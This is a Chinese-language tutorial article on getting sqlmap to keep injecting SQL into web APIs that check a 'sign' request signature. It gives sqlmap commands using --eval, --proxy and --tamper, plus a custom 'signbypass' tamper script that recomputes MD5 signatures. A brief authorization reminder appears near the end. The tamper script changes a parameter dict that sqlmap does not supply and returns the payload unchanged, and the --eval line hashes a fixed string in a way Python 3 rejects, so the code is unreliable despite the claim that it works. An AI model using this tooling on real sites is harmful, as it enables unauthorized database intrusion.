插件窝 干货文章 sqlmap处理sign加密的思路

sqlmap处理sign加密的思路

签名 Sign 使用 请求 1033    来源:    2025-04-25

SQLMap 处理 Sign 加密的思路

当目标网站使用 sign 签名机制时,SQLMap 的标准注入方式可能会失效。以下是处理这种场景的思路和方法:

基本思路

  1. 理解签名机制

    • 通常 sign 是对请求参数进行某种加密或哈希运算的结果
    • 常见算法:MD5、SHA1、HMAC、AES 等
    • 可能包含时间戳、随机数等动态元素
  2. 两种主要处理方式

    • 动态生成有效签名
    • 绕过签名验证

具体解决方案

1. 使用 --eval 参数动态计算签名

sqlmap -u "http://example.com/api?id=1&sign=XXX" --eval="import hashlib; sign = hashlib.md5('id=1&key=123').hexdigest()"

2. 编写 tamper 脚本处理签名

创建自定义 tamper 脚本(如 signbypass.py):

#!/usr/bin/env python

from lib.core.enums import PRIORITY
import hashlib

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    # 获取原始参数
    params = kwargs.get("params", {})

    # 计算签名逻辑
    sign_str = "&".join([f"{k}={v}" for k,v in sorted(params.items()) if k != "sign"])
    sign = hashlib.md5((sign_str + "SALT").encode()).hexdigest()

    # 添加签名到参数
    params["sign"] = sign

    return payload

使用方式:

sqlmap -u "http://example.com/api" --tamper=signbypass.py

3. 使用代理拦截修改请求

  1. 设置代理(如 Burp Suite)
  2. 使用 --proxy 参数: bash sqlmap -u "http://example.com/api" --proxy="http://127.0.0.1:8080"
  3. 在代理工具中修改请求,添加正确的签名

4. 完全自定义请求

对于复杂场景,可以: 1. 使用 --data 提供完整请求体 2. 结合 --headers 添加必要头信息 3. 使用 --method 指定请求方法

实际案例分析

假设目标API签名规则为:sign = MD5(按参数名排序后拼接 + 盐值"SECRET")

处理步骤: 1. 使用浏览器/抓包工具获取正常请求 2. 分析签名生成算法 3. 编写 tamper 脚本或使用 --eval 动态计算 4. 测试签名是否正确

注意事项

  1. 法律合规:确保有授权进行测试
  2. 测试环境:先在测试环境验证方案
  3. 算法复杂度:对于复杂算法可能需要逆向分析
  4. 动态元素:处理时间戳等动态参数时需特别注意

通过以上方法,可以有效地使 SQLMap 在存在签名验证的环境中正常工作。对于特别复杂的签名机制,可能需要结合逆向工程和自定义开发来解决。